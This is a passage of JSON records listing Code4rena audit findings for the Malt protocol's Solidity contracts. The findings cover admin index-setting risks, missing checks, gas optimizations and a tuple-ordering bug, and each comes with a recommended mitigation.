(!isAuctionFinalized(currentId)) { _finalizeAuction(currentId); } currentAuctionId = currentId + 1; } } ``` "}, {"title": "AuctionParticipant.sol: `setReplenishingIndex` mistake could freeze unclaimed tokens", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/88", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle harleythedog # Vulnerability details ## Impact In AuctionParticipant.sol, the function `setReplenishingIndex` is an admin function that allows manually setting `replenishingIndex`. As I have shown in my two previous findings, I believe that this function could be called frequently. In my opinion (and Murphy's law would agree), this implies that eventually an admin will accidentally set `replenishingIndex` incorrectly with this function. Right now, `setReplenishingIndex` does not allow the admin to set `replenishingIndex` to a value smaller than it currently is. So, if an admin were to accidentally set this value too high, then it would be impossible to set it back to a lower value (the higher the value set, the worse this issue). All of the unclaimed tokens on auctions at smaller indices would be locked forever. ## Proof of Concept See code for `setReplenishingIndex` here: https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/AuctionParticipant.sol#L132 ## Tools Used Inspection ## Recommended Mitigation Steps Remove the require statement on line 136, so that an admin can set the index to a smaller value. "}, {"title": "AuctionParticipant.sol: `purchaseArbitrageTokens` should not push duplicate auctions", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/87", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle harleythedog # Vulnerability details ## Impact In AuctionParticpant.sol, every time `purchaseArbitrageTokens` is called, the current auction is pushed to `auctionIds`. If this function were to be called on the same auction multiple times, then the same auction id would be pushed multiple times into this array, and the `claim` function would have issues with `replenishingIndex`. Specifically, even if `replenishingIndex` was incremented once in `claim`, it is still possible that the auction at the next index will never reward any more tokens to the participant, so the contract would need manual intervention to set `replenishingIndex` (due to the if statement on lines 79-82 that does nothing if there is no claimable yield). It is likely that `purchaseArbitrageTokens` would be called multiple times on the same auction. In fact, the commented out code for `handleDeficit` (in ImpliedCollateralService.sol) even suggests that the purchases might happen within the same transaction. So this issue will likely be an issue on most auctions and would require manual setting of `replenishingIndex`. NOTE: This is a separate issue from the one I just submitted previously relating to `replenishingIndex`. The previous issue was related to an edge case where `replenishingIndex` might need to be incremented by one if there are never going to be more claims, while this issue is due to duplicate auction ids. ## Proof of Concept See code for `purchaseArbitrageTokens` here: https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/AuctionParticipant.sol#L40 Notice that `currentAuction` is always appended to `auctionIds`. ## Tools Used Inspection ## Recommended Mitigation Steps Add a check to the function to `purchaseArbitrageTokens` to ensure that duplicate ids are not added. For example, this can be achieved by changing auctionIds to a mapping instead of an array. "}, {"title": "AuctionParticipant.sol: `replenishingIndex` incrementing should be improved", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/85", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle harleythedog # Vulnerability details ## Impact In AuctionParticipant.sol, the `claim` function is called to claim arb tokens from auctions the participant has entered. This is achieved through the global variable `replenishingIndex` which keeps track of which auction `claim` should be claiming from next. The logic for incrementing `replenishingIndex` is at the end of claim. I agree with the current logic at the end of the function. The comment on lines 96/97 says \"Don't increment replenishingIndex if replenishingAuctionId == auctionId as claimable could be 0 due to the debt not being 100% replenished\". Notice the keyword \"could\" - it is possible that replenishingAuctionId == auctionId but we will never be able to claim any more arb tokens from this contract, and in this case `replenishingIndex` will NOT be incremented. In this case, all subsequent calls to `claim` will simply do nothing. Line 77 will have `claimableTokens` be 0, and then the function will immediately return since it thinks it needs to wait longer to get more tokens, which will never happen. In this case, a manual intervention by an admin would be required to set `replenishingIndex', which is obviously annoying and should be avoided. Since `claim` is an external function, a malicious user/troll could intentionally call `claim` at the worst times to trigger this issue to happen. In this case, manual intervention would be required quite often. The following logic should be added immediately after line 77 to account for this issue: if (claimableTokens == 0 && replenishingId > auctionId) { // in this case, we will never receive any more tokens from this auction replenishingIndex = replenishingIndex + 1; auctionId = auctionIds[replenishingIndex]; } // retry check for 0 claimable amount ## Proof of Concept See the code for `claim` here: https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/AuctionParticipant.sol#L65 Other than manual intervention, the only place where `replenishingIndex` is set is at the end of `claim`. ## Tools Used Inspection ## Recommended Mitigation Steps Add the code described above. "}, {"title": "Assignment Of Variables To Default ", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/80", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle ye0lde # Vulnerability details ## Impact Variables are being assigned their default value which is unnecessary. Removing the assignment will save gas when deploying and improve code clarity. ## Proof of Concept State: https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/DAO.sol#L19 Local: https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/Auction.sol#L351 https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/Auction.sol#L626 https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/AuctionBurnReserveSkew.sol#L92 https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/AuctionBurnReserveSkew.sol#L108 https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/AuctionBurnReserveSkew.sol#L117 https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/AuctionBurnReserveSkew.sol#L124 https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/AuctionPool.sol#L115 https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/ERC20VestedMine.sol#L90 https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/RewardSystem/RewardDistributor.sol#L94 https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/RewardSystem/RewardThrottle.sol#L125 https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/RewardSystem/RewardThrottle.sol#L149-L150 https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/SwingTrader.sol#L112 ## Tools Used Visual Studio Code, Remix ## Recommended Mitigation Steps Remove the unneeded assignments. Or if you feel it is important to show the default assignment will occur then replace the assignments with a comment. "}, {"title": "Open TODOs", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/79", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "Open TODOs"}, {"title": "Underutilized Named Returns", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/77", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-11-malt-findings", "body": "Underutilized Named Returns"}, {"title": "Unused Named Returns", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/76", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-malt-findings", "body": "Unused Named Returns"}, {"title": "Lack Of Return Value Check On the Dex Handler Malt Price Calculation", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/75", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle defsec # Vulnerability details ## Impact During the code review, It has been seen that malt price return value has not been checked on the function. If oracle is returned price as a 0, fullReturn will be zero on the earlyExitReturn function. ## Proof of Concept 1. Navigate to \"https://github.com/code-423n4/2021-11-malt/blob/d3f6a57ba6694b47389b16d9d0a36a956c5e6a94/src/contracts/AuctionEscapeHatch.sol#L124\" 2. The return value maltMarketPrice() function has not been checked. ## Tools Used Code Review ## Recommended Mitigation Steps Consider to add return value check. The maltPrice should be more than zero for the calculation. \"\"\" require(dexHandler.maltMarketPrice()>0, \"Price should be more than zero\"); \"\"\" "}, {"title": "Missing zero-address checks on contract initialization", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/74", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle hyh # Vulnerability details ## Impact Being instantiated with wrong configuration, the contract is inoperable and deploy gas costs will be lost. If misconfiguration is noticed too late the various types of malfunctions become possible. ## Proof of Concept The checks for zero addresses during contract construction and initialization are considered to be the best-practice. Now basically all the contract do not check for correctness of constructor arguments: https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/Malt.sol#L29 https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/RewardSystem/RewardOverflowPool.sol#L25 https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/TransferService.sol#L25 https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/ForfeitHandler.sol#L31 https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/MiningService.sol#L30 https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/DexHandlers/UniswapHandler.sol#L47 ... ## Recommended Mitigation Steps Add zero-address checks and key non-address variables checks in all contract constructors. Small increase of gas costs are far out weighted by wrong deploy costs savings and additional coverage against misconfiguration. "}, {"title": "SwingTrader.costBasis function should have internal version that uses Malt balance from sellMalt", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/73", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle hyh # Vulnerability details ## Impact ERC20 balanceOf call is costly. Malt balance is read twice in sellMalt call, which isn't needed, so gas is overspent here. ## Proof of Concept Malt balanceOf(address(this)) is called twice: https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/SwingTrader.sol#L86 https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/SwingTrader.sol#L150 ## Recommended Mitigation Steps It's recommended to make internal version of costBasis that takes Malt balance as an argument. Now: ``` uint256 totalMaltBalance = malt.balanceOf(address(this)); ... (...) = costBasis(); ... function costBasis() public view returns (uint256 cost, uint256 decimals) { ... uint256 maltBalance = malt.balanceOf(address(this)); ... ``` To be: ``` uint256 totalMaltBalance = malt.balanceOf(address(this)); ... (...) = _costBasis(totalMaltBalance); ... function _costBasis(uint256 maltBalance) internal view returns (...) { ... function costBasis() public view returns (...) { return _costBasis(malt.balanceOf(address(this))); } ``` "}, {"title": "SwingTrader: sellMalt and costBasis functions can be simplified", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/72", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle hyh # Vulnerability details ## Impact Gas is overspent on function call and calculations ## Proof of Concept First, save Malt and Collateral tokens decimals difference to storage variable. As neither Malt, nor Collateral token decimals change since initial setup, both can be saved and accessed as a storage variable instead of calling ```decimals()``` function and calculating the difference each time. Second, now sellMalt calls costBasis, which already retrieved decimals and their difference, but sellMalt ignores those, retrieving them from functions/storage again. This could be unified as discussed below. sellMalt: https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/SwingTrader.sol#L77 https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/SwingTrader.sol#L109 costBasis: https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/SwingTrader.sol#L146 ## Recommended Mitigation Steps Save both decimals values to contract storage variables and use them instead of ```decimals()``` function. As the calculations use decimals difference it might be enough to save and use the difference only. In any case saving is preferred to calling as the latter spend gas on call and storage access anyway. Also, return the difference along with decimals from costBasis and use them in sellMalt instead of obtaining afresh. I.e. first reuse ```costBasis``` returned ```decimals``` instead of ```collateralToken.decimals()```, then add ```maltDecimals``` and the difference, whether ```maltDecimals - decimals``` or ```decimals - maltDecimals``` to its output and use in rewards / soldBasis calculations. Function arguments and returned values are memory and are cheaper than another storage access. Now: ``` (uint256 basis,) = costBasis(); ... uint256 maltDecimals = malt.decimals(); uint256 decimals = collateralToken.decimals(); ... uint256 diff = maltDecimals - decimals; ``` To be: ``` (uint256 basis, uint256 decimals, uint256 maltDecimals, uint256 diff) = costBasis(); ... ``` "}, {"title": "Unused event or missed emit on SetAnnualYield()", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/69", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle BouSalman # Vulnerability details ## Vulnerability description The event **SetAnnualYield** on Contract **StabilizerNode** is defined but never emitted inside the Contract. ## Impact Unused events in the codebase can be confusing, each declared event should have a corresponding emit statement. ## Proof of Concept https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/StabilizerNode.sol#L73 ## Tools Used manual code review. ## Recommended Mitigation Steps it's better to remove unused events from the code to improve coding quality, Also monitoring will be effected since no emit statements is there. "}, {"title": "Auction.userClaimableArbTokens amountOut calculations can be simplified", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/67", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle hyh # Vulnerability details ## Impact Gas is overspent on access and operations. ## Proof of Concept ```amountOut``` is calculated in 3 steps, which can be made simpler. https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/Auction.sol#L302-305 ## Recommended Mitigation Steps Now: ``` uint256 amountTokens = commitment.commitment.mul(auction.pegPrice).div(price); uint256 redeemedTokens = commitment.redeemed.mul(auction.pegPrice).div(price); uint256 amountOut = amountTokens.mul(claimablePerc).div(auction.pegPrice).sub(redeemedTokens); ``` To be (```amountTokens``` and ```redeemedTokens``` aren't used elsewhere): ``` /* * uint256 amountTokens = commitment.commitment.mul(auction.pegPrice).div(price); * uint256 redeemedTokens = commitment.redeemed.mul(auction.pegPrice).div(price); * uint256 amountOut = amountTokens.mul(claimablePerc).div(auction.pegPrice).sub(redeemedTokens); */ uint256 redeemed = commitment.redeemed.mul(auction.pegPrice); uint256 amountOut = commitment.commitment.mul(claimablePerc).sub(redeemed).div(price); ``` "}, {"title": "Multiple Zero address transfer functions on contract Permissions", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/64", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle BouSalman # Vulnerability details ## Vulnerability description On contract **Permissions.sol** there is multiple functions to withdraws funds, these functions currently do not check for zero value address before doing the transaction. ## Impact Loss of funds, ETHs and ERC20. ## Proof of Concept https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/Permissions.sol#L80 https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/Permissions.sol#L88 https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/Permissions.sol#L97 https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/Permissions.sol#L104 ## Tools Used manual code review. ## Recommended Mitigation Steps use require() statement to validate address address(0) before sending the funds. "}, {"title": "getAuctionCore function returns wrong values out of order", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/63", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle jayjonah8 # Vulnerability details ## Impact In the AuctionEscapeHatch.sol file both earlyExitReturn() and _calculateMaltRequiredForExit call the getAuctionCore() function which has 10 possible return values most of which are not used. It gets the wrong value back for the \"active\" variable since it's the 10th argument but both functions have it as the 9th return value where \"preAuctionReserveRatio\" should be because of one missing comma. This is serious because these both are functions which deal with allowing a user to exit their arbitrage token position early. This can result in a loss of user funds. ## Proof of Concept https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/AuctionEscapeHatch.sol#L100 https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/AuctionEscapeHatch.sol#L174 https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/Auction.sol#L527 ## Tools Used Manual code review ## Recommended Mitigation Steps In AuctionEscapeHatch.sol change the following in _calculateMaltRequiredForExit() and earlyExitReturn() functions: From: (,,,,, uint256 pegPrice, , uint256 auctionEndTime, bool active ) = auction.getAuctionCore(_auctionId); To: (,,,,, uint256 pegPrice, , uint256 auctionEndTime, , bool active ) = auction.getAuctionCore(_auctionId); "}, {"title": "SafeMath library is not always used in the contracts", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/60", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle defsec # Vulnerability details ## Impact SafeMath library functions are not always used in arithmetic operations in the contracts, which could potentially cause integer underflow/overflows. Although in the reference lines of code, there are upper limits on the variables to ensure an integer underflow/overflow could not happen, using SafeMath is always a best practice, which prevents underflow/overflows completely (even if there were no assumptions on the variables) and increases code consistency as well. ## Proof of Concept 1. Navigate to the following contracts. ``` https://github.com/code-423n4/2021-11-malt/blob/d3f6a57ba6694b47389b16d9d0a36a956c5e6a94/src/contracts/Auction.sol#L795 https://github.com/code-423n4/2021-11-malt/blob/d3f6a57ba6694b47389b16d9d0a36a956c5e6a94/src/contracts/Auction.sol#L821 https://github.com/code-423n4/2021-11-malt/blob/d3f6a57ba6694b47389b16d9d0a36a956c5e6a94/src/contracts/AuctionBurnReserveSkew.sol#L64 https://github.com/code-423n4/2021-11-malt/blob/d3f6a57ba6694b47389b16d9d0a36a956c5e6a94/src/contracts/AuctionEscapeHatch.sol#L76 https://github.com/code-423n4/2021-11-malt/blob/d3f6a57ba6694b47389b16d9d0a36a956c5e6a94/src/contracts/AuctionEscapeHatch.sol#L188 ``` 2. SafeMath functions are not used in the every functionality. ## Tools Used Code Review ## Recommended Mitigation Steps Consider using the SafeMath library functions in the referenced lines of code. "}, {"title": " Missing events for admin only functions that change critical parameters", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/58", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle defsec # Vulnerability details ## Impact The admin only functions that change critical parameters should emit events. Events allow capturing the changed parameters so that off-chain tools/interfaces can register such changes with timelocks that allow users to evaluate them and consider if they would like to engage/exit based on how they perceive the changes as affecting the trustworthiness of the protocol or profitability of the implemented financial services. The alternative of directly querying on-chain contract state for such changes is not considered practical for most users/usages. Missing events and timelocks do not promote transparency and if such changes immediately affect users\u2019 perception of fairness or trustworthiness, they could exit the protocol causing a reduction in liquidity which could negatively impact protocol TVL and reputation. There are owner functions that do not emit any events in the contracts. ## Proof of Concept Missing events https://github.com/code-423n4/2021-11-malt/blob/d3f6a57ba6694b47389b16d9d0a36a956c5e6a94/src/contracts/SwingTrader.sol#L169 https://github.com/code-423n4/2021-11-malt/blob/d3f6a57ba6694b47389b16d9d0a36a956c5e6a94/src/contracts/Auction.sol#L1000 https://github.com/code-423n4/2021-11-malt/blob/d3f6a57ba6694b47389b16d9d0a36a956c5e6a94/src/contracts/Auction.sol#L1008 https://github.com/code-423n4/2021-11-malt/blob/d3f6a57ba6694b47389b16d9d0a36a956c5e6a94/src/contracts/Auction.sol#L992 https://github.com/code-423n4/2021-11-malt/blob/d3f6a57ba6694b47389b16d9d0a36a956c5e6a94/src/contracts/Auction.sol#L984 https://github.com/code-423n4/2021-11-malt/blob/d3f6a57ba6694b47389b16d9d0a36a956c5e6a94/src/contracts/Auction.sol#L976 https://github.com/code-423n4/2021-11-malt/blob/d3f6a57ba6694b47389b16d9d0a36a956c5e6a94/src/contracts/Auction.sol#L968 https://github.com/code-423n4/2021-11-malt/blob/d3f6a57ba6694b47389b16d9d0a36a956c5e6a94/src/contracts/Auction.sol#L960 https://github.com/code-423n4/2021-11-malt/blob/d3f6a57ba6694b47389b16d9d0a36a956c5e6a94/src/contracts/Auction.sol#L937 https://github.com/code-423n4/2021-11-malt/blob/d3f6a57ba6694b47389b16d9d0a36a956c5e6a94/src/contracts/Auction.sol#L930 https://github.com/code-423n4/2021-11-malt/blob/d3f6a57ba6694b47389b16d9d0a36a956c5e6a94/src/contracts/Auction.sol#L923 https://github.com/code-423n4/2021-11-malt/blob/d3f6a57ba6694b47389b16d9d0a36a956c5e6a94/src/contracts/Auction.sol#L916 https://github.com/code-423n4/2021-11-malt/blob/d3f6a57ba6694b47389b16d9d0a36a956c5e6a94/src/contracts/AuctionParticipant.sol#L132 https://github.com/code-423n4/2021-11-malt/blob/d3f6a57ba6694b47389b16d9d0a36a956c5e6a94/src/contracts/AuctionEscapeHatch.sol#L226 https://github.com/code-423n4/2021-11-malt/blob/d3f6a57ba6694b47389b16d9d0a36a956c5e6a94/src/contracts/AuctionEscapeHatch.sol#L234 https://github.com/code-423n4/2021-11-malt/blob/d3f6a57ba6694b47389b16d9d0a36a956c5e6a94/src/contracts/AuctionEscapeHatch.sol#L218 See similar High-severity H03 finding OpenZeppelin\u2019s Audit of Audius (https://blog.openzeppelin.com/audius-contracts-audit/#high) and Medium-severity M01 finding OpenZeppelin\u2019s Audit of UMA Phase 4 (https://blog.openzeppelin.com/uma-audit-phase-4/) ## Tools Used None ## Recommended Mitigation Steps Add events to all admin/privileged functions that change critical parameters. "}, {"title": "theft of system profit", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/56", "labels": ["bug", "2 (Med Risk)", "needs additional sponsor input"], "target": "2021-11-malt-findings", "body": "theft of system profit"}, {"title": "Auction.userClaimableArbTokens claimablePerc calculations can be simplified", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/50", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle hyh # Vulnerability details ## Impact Gas is overspent on access and operations. ## Proof of Concept ```claimablePerc``` is calculated in two steps, which can be made simpler. https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/Auction.sol#L294 ## Recommended Mitigation Steps Now: ``` uint256 totalTokens = auction.commitments.mul(auction.pegPrice).div(auction.finalPrice); uint256 claimablePerc = auction.claimableTokens.mul(auction.pegPrice).div(totalTokens); ``` To be (```totalTokens``` isn't used elsewhere): ``` uint256 claimablePerc = auction.claimableTokens.mul(auction.finalPrice).div(auction.commitments); ``` "}, {"title": "Auction.userClaimableArbTokens nonzero auction.finalPrice check is redundant", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/49", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle hyh # Vulnerability details ## Proof of Concept As there is a check in the beginning of the function that includes the ```auction.finalPrice == 0``` condition: https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/Auction.sol#L285 ## Recommended Mitigation Steps The same condition down the line is never true and its check is redundant: https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/Auction.sol#L298 "}, {"title": "initialized storage variables are set again in the initializer function ", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/45", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle sabtikw # Vulnerability details ## Impact storage variables are initialized in the contract and overwritten in the initializer function. ## Proof of Concept Auction.sol L#89 L#164 auctionLength AuctionBurnReserveSkew.sol L#25 auctionAverageLookback MaltDataLab.sol L#69 priceTarget ## Tools Used manual review ## Recommended Mitigation Steps remove initialization outside of initializer function "}, {"title": "The Contract Should safeApprove(0) first", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/41", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle defsec # Vulnerability details ## Impact Some tokens (like USDT L199) do not work when changing the allowance from an existing non-zero allowance value. They must first be approved by zero and then the actual allowance must be approved. ``` IERC20(token).safeApprove(address(operator), 0); IERC20(token).safeApprove(address(operator), amount); ``` ## Proof of Concept 1. Navigate to the following contracts. ``` https://github.com/code-423n4/2021-11-malt/blob/d3f6a57ba6694b47389b16d9d0a36a956c5e6a94/src/contracts/DexHandlers/UniswapHandler.sol#L167 https://github.com/code-423n4/2021-11-malt/blob/d3f6a57ba6694b47389b16d9d0a36a956c5e6a94/src/contracts/AuctionParticipant.sol#L59 https://github.com/code-423n4/2021-11-malt/blob/d3f6a57ba6694b47389b16d9d0a36a956c5e6a94/src/contracts/StabilizerNode.sol#L252 https://github.com/code-423n4/2021-11-malt/blob/d3f6a57ba6694b47389b16d9d0a36a956c5e6a94/src/contracts/RewardReinvestor.sol#L107 ``` 2. When trying to re-approve an already approved token, all transactions revert and the protocol cannot be used. ## Tools Used None ## Recommended Mitigation Steps Approve with a zero amount first before setting the actual amount. "}, {"title": "Storage Optimization", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/38", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle 0x1f8b # Vulnerability details ## Impact Cheaper storage. ## Proof of Concept The struct AuctionData file Auction.sol is optimizable. It looks like this: ``` struct AuctionData { // The full amount of commitments required to return to peg uint256 fullRequirement; // total maximum desired commitments to this auction uint256 maxCommitments; // Quantity of sale currency committed to this auction uint256 commitments; // Malt purchased and burned using current commitments uint256 maltPurchased; // Desired starting price for the auction uint256 startingPrice; // Desired lowest price for the arbitrage token uint256 endingPrice; // Price of arbitrage tokens at conclusion of auction. This is either // when the duration elapses or the maxCommitments is reached uint256 finalPrice; // The peg price for the liquidity pool uint256 pegPrice; // Time when auction started uint256 startingTime; uint256 endingTime; // Is the auction currently accepting commitments? bool active; // The reserve ratio at the start of the auction uint256 preAuctionReserveRatio; // Has this auction been finalized? Meaning any additional stabilizing // has been done bool finalized; // The amount of arb tokens that have been executed and are now claimable uint256 claimableTokens; // The finally calculated realBurnBudget uint256 finalBurnBudget; // The amount of Malt purchased with realBurnBudget uint256 finalPurchased; // A map of all commitments to this auction by specific accounts mapping(address => AccountCommitment) accountCommitments; } ``` But `active` and `finalized`, the unique boolean values, should be together, otherwise they will spend two slots instead of one. ``` uint256 preAuctionReserveRatio; bool active; bool finalized; ``` ## Tools Used Manual review ## Recommended Mitigation Steps "}, {"title": "Index address of events for better filtering", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/31", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle tabish # Vulnerability details ## Impact Detailed description of the impact of this finding. Use `indexed` on address to filter through logs better https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/Auction.sol#L105 https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/Auction.sol#L112 "}, {"title": "Use bps uniformly", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/30", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle tabish # Vulnerability details ## Impact Detailed description of the impact of this finding. Some variables are in form of bps https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/Auction.sol#L90 while some are not https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/Auction.sol#L91 https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/Auction.sol#L92 As a good programming practice, should use bps everywhere if you accepting it as a unit "}, {"title": "SafeMath Not Used Nearly At All In MovingAverage.sol", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/21", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle jayjonah8 # Vulnerability details ## Impact In MovingAverage.sol the safeMath.sol library is imported but I counted at least 25 places in the file where it should be used (Nearly the entire file). This can result in values wrapping around which has caused devastating effects on many protocols in the past. These values directly effect the exchangeRate variable given in the stabilize() function in StabilizerNode.sol so they must be treated with care. ## Proof of Concept https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/MovingAverage.sol#L3 https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/StabilizerNode.sol#L156 ## Tools Used Manual code review ## Recommended Mitigation Steps The MovingAverage.sol file should be completely reviewed making use of safeMath through out the entire file. "}, {"title": "Deprecated Function Usage", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/18", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "Deprecated Function Usage"}, {"title": "Should include non-existing contract check", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/9", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle jayjonah8 # Vulnerability details ## Impact The executeTransaction() function in Timelock.sol does not include a check if the contract being called actually exists. The extcodesize is not used when using .call on addresses directly as per the solidity docs. This is important because the EVM allows calls to a non-existing contract to always succeed. ## Proof of Concept https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/Timelock.sol#L191 solidity docs: https://docs.soliditylang.org/en/v0.8.10/units-and-global-variables.html#address-related \"Due to the fact that the EVM considers a call to a non-existing contract to always succeed, Solidity includes an extra check using the extcodesize opcode when performing external calls. This ensures that the contract that is about to be called either actually 